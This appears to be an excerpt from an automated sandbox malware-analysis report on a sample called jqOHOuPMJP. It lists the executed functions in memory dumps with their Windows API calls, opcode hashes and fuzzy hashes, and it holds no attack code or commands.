Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 128cc96db0b5dad847cc3ea52e5cf20cfe092ef2051dc6ba8831276c04846f7e
Instruction ID: 43636c77bc65c137177f5cd0b4ca8db59cc5f128092141588c87515be8b849a5
Opcode Fuzzy Hash: 128cc96db0b5dad847cc3ea52e5cf20cfe092ef2051dc6ba8831276c04846f7e
Instruction Fuzzy Hash: E7216D72E253845ED771576898047EBBFE48F56314F09809EDC886B283D6784885C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 06EF2890 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,06EF2878,03D2411C,02D788B0), ref: 06EF2909

Memory Dump Source

Source File: 00000000.00000002.1820252857.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ef0000_jqOHOuPMJP.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 6723698fe244a11f50090a7f14133d1885d45227e7d5e98ee500966c880ac6da
Instruction ID: 8cdfa722e9594d9aadca3e307bb62d0bf9a09e857db02c54f846872609cdaaed
Opcode Fuzzy Hash: 6723698fe244a11f50090a7f14133d1885d45227e7d5e98ee500966c880ac6da
Instruction Fuzzy Hash: B1218BB1D002099FDB10CFAAC844BEEFBF8FB88320F00842AD554A3250D774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02B8CD30 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B8D666,?,?,?,?,?), ref: 02B8D727

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 870c8fc767205fec5469b10d6dea55eaeb7815e3c05548ab811cc13c54402db2
Instruction ID: bb3c103fb3efa819f5c8ef08ef92d8dc7a9a094b36e0952e15d1a7dd58cc559a
Opcode Fuzzy Hash: 870c8fc767205fec5469b10d6dea55eaeb7815e3c05548ab811cc13c54402db2
Instruction Fuzzy Hash: 472114B5900249EFDB10DFAAD584ADEFBF4EB48310F14845AE958A7350D374A940CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02B8D699 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02B8D666,?,?,?,?,?), ref: 02B8D727

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0407d5e3e255b21da72275efe5f0d1c6b12475a65d1fb1cf10eb86c4ab8b7bba
Instruction ID: 0d5d79d29b7bb27d0e9ce8254918a59a9b47414097b8dd552696393d7eda9ee4
Opcode Fuzzy Hash: 0407d5e3e255b21da72275efe5f0d1c6b12475a65d1fb1cf10eb86c4ab8b7bba
Instruction Fuzzy Hash: 9F21E0B5901259EFDB10CFAAD584AEEBBF4EB48320F14845AE958A7350C374A940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06EF1754 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,06EF2878,03D2411C,02D788B0), ref: 06EF2909

Memory Dump Source

Source File: 00000000.00000002.1820252857.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ef0000_jqOHOuPMJP.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: bab5243da35ef43bd0ce21abe5b426c8b408c9f97b79af30d4db145a73238370
Instruction ID: bee34b88732325d3a7aa6599ad8368d522356cae8b01dfc32b8fd830fde303d1
Opcode Fuzzy Hash: bab5243da35ef43bd0ce21abe5b426c8b408c9f97b79af30d4db145a73238370
Instruction Fuzzy Hash: 9E2147B1D003198FDB14DF9AC844BEEFBF4EB88320F10842AD558A7250D778AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0625C2F2 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000020A,?,?,?,?,?,?,0625410A,?,00000000,?), ref: 0625C3AD

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9f0c11b5865861ae51721ef83b1c62673713fc4215da24ce01ed43f8117a9040
Instruction ID: 5ed97054136b09903e29ae34aa9e9fccd6416bfd590e5b8c08671b9b26c29e12
Opcode Fuzzy Hash: 9f0c11b5865861ae51721ef83b1c62673713fc4215da24ce01ed43f8117a9040
Instruction Fuzzy Hash: 6C1179B6914309DFDB60CF99C844BDEBBF4AF48310F15445ED884E7251D3789644CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0625A174 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,0625B52A,?,?,?,?,?), ref: 0625B5CF

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 19bd184d6fb6a66a53d7e25af7e92f870e9984256a7625d52a8093b0d96ad937
Instruction ID: 2904a63fb996809194c772cdf639de1a1d1ea36ce6ff9135c23e3f60a0acd070
Opcode Fuzzy Hash: 19bd184d6fb6a66a53d7e25af7e92f870e9984256a7625d52a8093b0d96ad937
Instruction Fuzzy Hash: 7B113AB590025DDFDB20DF9AD844BDEBFF8EB48310F14841AE954A7210C375A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B8AC08 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,02B8B4A1,00000800,00000000,00000000), ref: 02B8B6B2

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f829f20e4859991fdfb726801cc9399ce6f9514cfd477c100061944045da5b4c
Instruction ID: 7d50764fd9dcce33878b17482700844ec92b79cacd8d3c835e498bb0eaa7f8f7
Opcode Fuzzy Hash: f829f20e4859991fdfb726801cc9399ce6f9514cfd477c100061944045da5b4c
Instruction Fuzzy Hash: 401126B69003499FDB10DFAAC444ADEFBF4EB48314F10846AD559A7210C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B8B643 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,02B8B4A1,00000800,00000000,00000000), ref: 02B8B6B2

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f9a7dac6005733c8e7e79ceca533b06d3528de6d6e80de010f3e1fc53eaa3534
Instruction ID: a1ca828140cc4622dc5c049cf2e8a48e700eef5343ac118f261344b6fdc12b83
Opcode Fuzzy Hash: f9a7dac6005733c8e7e79ceca533b06d3528de6d6e80de010f3e1fc53eaa3534
Instruction Fuzzy Hash: 921123B6D002498FDB14DFAAC444ADEFBF4EF88314F14846AD859A7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067E5380 Relevance: 1.6, APIs: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 067E53E5

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b46d6b0b60507233c20d61db1d3a20f34d260d307d5ab82222293e2967169cf6
Instruction ID: 8e63bf3b48a594d13c54a0c20b4e787f45da6f3f65fc9bc508b6e59a76e53755
Opcode Fuzzy Hash: b46d6b0b60507233c20d61db1d3a20f34d260d307d5ab82222293e2967169cf6
Instruction Fuzzy Hash: 2E113AB5800349DFDB10CF9AC845BEEFBF8EB48324F10841AE554A3240C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067E4AA0 Relevance: 1.6, APIs: 1, Instructions: 50threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 067E4B08

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 84c8d37d1cddcbde1c94fc86c230b2a7c26187dd73ab9d34ad01635bcfd982e9
Instruction ID: c1eefceacc38945e926ca02ed6d73870341f8287a3f119b045296498a303105c
Opcode Fuzzy Hash: 84c8d37d1cddcbde1c94fc86c230b2a7c26187dd73ab9d34ad01635bcfd982e9
Instruction Fuzzy Hash: 1B111FB58043889FDB10CF99C94ABDEBFF4AB09324F14845AD564A7281C375AA84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06EF3358 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06EF33BD

Memory Dump Source

Source File: 00000000.00000002.1820252857.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ef0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 90b00c25eb0fc3164b852c5d345cf2a6856536aaca3f778f421dc4f5ba2505d5
Instruction ID: 28fe014bfe4c4f887c1f5d6a7728abb39c1d602ba039403a7b00afc30a190537
Opcode Fuzzy Hash: 90b00c25eb0fc3164b852c5d345cf2a6856536aaca3f778f421dc4f5ba2505d5
Instruction Fuzzy Hash: C311F2B59003489FDB10DF9AD889BDEBFF8EB48320F10841AE558A7210C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 067E5388 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 067E53E5

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e8deaf1e762d894ab1a67d74f1bccb218021af37d95eeafef098e6d06963c37b
Instruction ID: c48305a342ec3f1a56a32763e4a6a034d03e387c709e1ee0fa90c4d9a136eca9
Opcode Fuzzy Hash: e8deaf1e762d894ab1a67d74f1bccb218021af37d95eeafef098e6d06963c37b
Instruction Fuzzy Hash: A41118B5800349DFDB10CF9AC885BEEFBF8EB48324F10841AE554A3250D379A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B8B3C0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02B8B426

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b1ed30f94ad899c8a2f983abcbf722ea3cfc03ac6003f9837a2e45d7d2a8fe3d
Instruction ID: ed0c7f5c2688151fad98b0e5bd96123d8fa4e157fbc8dd995c1887308f91ae2a
Opcode Fuzzy Hash: b1ed30f94ad899c8a2f983abcbf722ea3cfc03ac6003f9837a2e45d7d2a8fe3d
Instruction Fuzzy Hash: F3110FB6C002498FDB10DFAAD444ADEFBF4EB88324F18846AD858A7211C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06253444 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000020A,?,?,?,?,?,?,0625410A,?,00000000,?), ref: 0625C3AD

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c10e9f1d29c62cc43c2c1c1998eb4c697d42b186c7797347449fa0a90e05e1d4
Instruction ID: bba25322d1ffdde396f0086b031aa4f07a930e79b587381bd7e94002b6c774fb
Opcode Fuzzy Hash: c10e9f1d29c62cc43c2c1c1998eb4c697d42b186c7797347449fa0a90e05e1d4
Instruction Fuzzy Hash: 6F1136B5900348DFDB20DF8AC884BDEBBF8EB48310F108419E958A7200D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0625A1B8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,?,00000000), ref: 0625B92D

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 440c6d1849f2b767b6b71c2416d8d51ece7bb7249555a623ff0ddaf48d340f2a
Instruction ID: b6546a65496a9c7a8a8239c3fe853d1ecae016fd04e25743b2899fd31a583c21
Opcode Fuzzy Hash: 440c6d1849f2b767b6b71c2416d8d51ece7bb7249555a623ff0ddaf48d340f2a
Instruction Fuzzy Hash: 771106B5810349DFDB20DF9AD585BDEFBF8EB48320F10845AE954A7200C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0625B8C8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,?,00000000), ref: 0625B92D

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6fe10995d3de54d35dd4c572ddbf0904480502c866ee97204037d40e5f43b2f6
Instruction ID: 93df7f1107f536b3a47036b71e4e5ad0fc4a9a2d812073eb345442d4452f573d
Opcode Fuzzy Hash: 6fe10995d3de54d35dd4c572ddbf0904480502c866ee97204037d40e5f43b2f6
Instruction Fuzzy Hash: 011103B5800209DFDB50DF99D985BDEFBF4FB48320F14881AD958A7250C374AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06EF0238 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06EF33BD

Memory Dump Source

Source File: 00000000.00000002.1820252857.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ef0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7919d1317408ef9ec46f9edc3397bc202c471425f3cba1ee3dfd5090b1ddf8ef
Instruction ID: b693f66ef91daa52a5cab801bcf55d4ce88ccc1c6d693e383d76e3797a53ee17
Opcode Fuzzy Hash: 7919d1317408ef9ec46f9edc3397bc202c471425f3cba1ee3dfd5090b1ddf8ef
Instruction Fuzzy Hash: 2E11F2B5900348DFDB10DF9AD889BDEBBF8EB48320F10841AE959A7210C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067E3B58 Relevance: 1.5, APIs: 1, Instructions: 47threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 067E4B08

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 3ceb6639c5edabc2edb49ce508523aacaf34e9b6212631eb16494ca99dfc03cd
Instruction ID: 9645bd54df8dcea2d6ba805b8204827ca8402ba181e5203d855a24c104acc546
Opcode Fuzzy Hash: 3ceb6639c5edabc2edb49ce508523aacaf34e9b6212631eb16494ca99dfc03cd
Instruction Fuzzy Hash: 50110470900248DEDB10CF89D849BDEBFF4EB08324F10881AD555A7244C375A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0625C34A Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000020A,?,?,?,?,?,?,0625410A,?,00000000,?), ref: 0625C3AD

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f147e9cc283f09fcc5b8c75473f0c810c188dd0385bb47c7ab954e60091ad063
Instruction ID: 9a7b086bcffb580befae29fe4fd259948c15d09d6dacac3cade6a7061b501774
Opcode Fuzzy Hash: f147e9cc283f09fcc5b8c75473f0c810c188dd0385bb47c7ab954e60091ad063
Instruction Fuzzy Hash: A01103B5800309DFDB50DF99D985BDEBBF8EB48310F10841AE958A7610C374A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 067E5A60 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067E6DED

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 584c82f153e2ebf482d9627f864950d3a9730cd4fc0b36310949e869e56585b5
Instruction ID: cef31b232876baab642992f8d972ded527e799e1491b71f40cd86dfddaa13b44
Opcode Fuzzy Hash: 584c82f153e2ebf482d9627f864950d3a9730cd4fc0b36310949e869e56585b5
Instruction Fuzzy Hash: 271133B48003088FDB20DF9AD544BDEBBF4EB48320F208459D518A7210D374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067E6D90 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067E6DED

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 88ba94c149b13ea820d674745cfca25bf1cd9a40fa97cc51a69cf911c79a8f4e
Instruction ID: e1c470e836bb218cd9dcf9b205a3644aafc194af9d8436e488dc5f811fd12d43
Opcode Fuzzy Hash: 88ba94c149b13ea820d674745cfca25bf1cd9a40fa97cc51a69cf911c79a8f4e
Instruction Fuzzy Hash: 441123B5C00248CFDB60DFAAD449BDEBBF4EB48324F20845AD558A7210D378AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067EFA78 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 067EFADD

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 2dd9c5a21853c392ce1902ce90564902bec184d3a9ac2f0735f66cdb5cf50879
Instruction ID: 0f3bdf23c7f38f9a267e6f7bddf968b2dfaf3fe8a1ae591666ca6a62b80dff28
Opcode Fuzzy Hash: 2dd9c5a21853c392ce1902ce90564902bec184d3a9ac2f0735f66cdb5cf50879
Instruction Fuzzy Hash: A211EDB1D002498FDB24DF9AD844B9EFBF4AB49324F10856AD858A7610C379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067EFA80 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 067EFADD

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 2ad37bc1ffa0b730d9372d636398f432815b47c5a34aaba4e972837e4f82d9fa
Instruction ID: deb5710eef12fb3d56bf1f98beccc37fb3147329c2d259025754116131366ff3
Opcode Fuzzy Hash: 2ad37bc1ffa0b730d9372d636398f432815b47c5a34aaba4e972837e4f82d9fa
Instruction Fuzzy Hash: 93110DB1C00249CFCB10DF9AD844BDEFBF4EB48324F10842AD858A7210C378AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 029DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798811759.00000000029DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29dd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26a679efcab4c2707ec0280bfad58fdb49b7990d15fdccf58d6119f758b1698d
Instruction ID: 57f87f2920259b094b273a99c6d4cb151d93c872caa578e613d477cad0d94e4a
Opcode Fuzzy Hash: 26a679efcab4c2707ec0280bfad58fdb49b7990d15fdccf58d6119f758b1698d
Instruction Fuzzy Hash: F321F272604200DFDB14DF24D984B26BBA9EBC8314F64C969D80A4B296C33AD447DA71

Uniqueness

Uniqueness Score: -1.00%

Function 029DD2BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798811759.00000000029DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29dd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 774818c41e20079d1e0f120d896ca367bb0eb2cb3f2a6a6db7fa6328895d9e73
Instruction ID: d6addad9ed174f56b392c93a2086a5e34414e398e748951e7d8fb3419336afba
Opcode Fuzzy Hash: 774818c41e20079d1e0f120d896ca367bb0eb2cb3f2a6a6db7fa6328895d9e73
Instruction Fuzzy Hash: 01212772504244DFDB04DF14DAC4B2AFBA9FB84328F24CA69D9494B245C33AD446DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 029DD005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798811759.00000000029DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29dd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80b7c211c4424d45eaba5c5bec5d6ec8399e6097d0028a3e39a758bc966b8be8
Instruction ID: 8daab08cc15df9750ee6921eddc487eb7d39ef775cb46a14a3b4c34b1ea1a5b7
Opcode Fuzzy Hash: 80b7c211c4424d45eaba5c5bec5d6ec8399e6097d0028a3e39a758bc966b8be8
Instruction Fuzzy Hash: 3A21C6755093C08FCB12CF24D994715BF71EB85214F28C5DAD8498F697C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 029DD2B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798811759.00000000029DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29dd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 82a6c0e8a3d85c0c2006be61e781f413cba478a9622eba76e7dad5cc49b745a3
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 5C11C176504280CFDB16CF14D5C4B1AFF71FB84328F28C6AAD8494B656C33AD40ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 029CD68D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798595421.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29cd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2752523331bfd8ea7a8fda5ea171b6a30bb18fb71ef7b64f49ccdd47e3d256
Instruction ID: 8ab95931298d9a0ee5816c47124928773592f846b56760c8545c4b4e97807c76
Opcode Fuzzy Hash: ce2752523331bfd8ea7a8fda5ea171b6a30bb18fb71ef7b64f49ccdd47e3d256
Instruction Fuzzy Hash: 1F01A2711097409AE710AA29DA84767BF9CEF45364F28C83EED0D4A286C7799840CAB3

Uniqueness

Uniqueness Score: -1.00%

Function 029CD68C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798595421.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29cd000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d638616aa3fa68596610704685e8e9f3f70af53f7601138eb714505a46fa4b1
Instruction ID: 2ce5796571c230f9fd4eea4d276724ce064227e9f9b2d3edb806cbc2dbd28c26
Opcode Fuzzy Hash: 3d638616aa3fa68596610704685e8e9f3f70af53f7601138eb714505a46fa4b1
Instruction Fuzzy Hash: 7AF062714043849AE7109A1AC9C4B62FFACEB45664F28C45AED4C4A286C379A844CA71

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06250040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75130591e60485901df8a6a731a89220f56339dd421b06f4ed423fc41bccbb3
Instruction ID: ef91ed152a0bab77c53a09a3e5bf11d04e5dbc4eb4a8a4a7d4b0f67e6c67ddba
Opcode Fuzzy Hash: e75130591e60485901df8a6a731a89220f56339dd421b06f4ed423fc41bccbb3
Instruction Fuzzy Hash: 6E1282B0C81745CADB30CF65E95C98D3BA1BB4539CBD08A09D2616F3E1DBB811AACF44

Uniqueness

